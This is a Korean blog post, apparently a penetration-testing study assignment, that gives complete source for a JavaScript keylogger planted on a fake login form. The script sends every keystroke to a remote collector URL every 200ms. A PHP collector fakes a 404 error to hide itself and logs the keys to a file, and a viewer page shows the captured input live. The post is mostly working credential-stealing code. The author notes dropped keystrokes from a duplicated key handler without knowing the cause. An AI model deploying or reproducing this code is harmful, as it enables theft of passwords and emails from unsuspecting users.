모의 해킹 스터디/모의 해킹 - 과제
[과제] 04주차 (1-1 β) 키 로거 구현 (로그인 창)
Gearvirus(junyup2)
2023. 11. 22. 04:01
모의 해킹 스터디 - 4주차 과제 (1-1) 키 로거 추가 구현
코드 구성
- key_logger.html
- key_logger.js
- key_logger.php
- view.html
key_logger.html
<!DOCTYPE html>
<html lang="'ko">
<head>
<meta charset="utf-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>JavaScript Keylogger</title>
<script src="key_logger.js"></script>
</head>
<body>
<form>
<div class="login">
<h2>Login Form</h2>
<input type="email" placeholder="User E-mail"><br><br>
<input type="password" placeholder="Password"><br><br>
<button type="submit">Login</button>
</div>
</form>
</body>
</html>
- 로그인 폼의 키로거
key_logger.js
var keys='';
var url = 'http://ip adress/key_logger.php?c=';
document.onkeydown = function(e) {
var key = e.key;
keys+=key;
}
window.setInterval(function(){
if(keys.length > 0) {
var data = encodeURIComponent(keys)
new Image().src = url + data;
keys = '';
}
}, 200);
document.onkeydown = function(e) {
buffer = e.key;
}
- 위와 같이 작성시 문자를 빠르게 입력하면 누락이 발생
- (정확한 이유는 모르겠음)
key_logger.php
<?php
header($_SERVER["SERVER_PROTOCOL"]." 404 Not Found", true, 404);
header('Access-Control-Allow-Methods: GET, REQUEST, OPTIONS');
header('Access-Control-Allow-Credentials: true');
header('Access-Control-Allow-Origin: *');
header('Access-Control-Allow-Headers: Content-Type, *');
$file = 'key_logger.txt';
if(isset($_REQUEST['c']) && !empty($_REQUEST['c'])){
file_put_contents($file, $_REQUEST['c'], FILE_APPEND);
}
?>
view.html
<html>
<body>
<iframe name="log" src="./key_logger.txt" width="100%" height="100%"></iframe>
<script>
function refresh(){
parent.log.location.href="./key_logger.txt";
setTimeout("refresh()",1000);
}
refresh();
</script>
</body>
</html>
- 창에서 입력시, 콘솔(console)에 입력이 전달되는 것을 확인 가능
- 일부로 404에러가 난 것처럼 표현
- 입력된 키는 key_logger.txt에 삽입 됨
- view.html에서 key_logger.txt의 내용을 일정 주기로 새로고침하면서 보여줌
- 실시간으로 키로깅되는 것처럼 표현
질문 환영, 수정 및 보완에 대한 지적 환영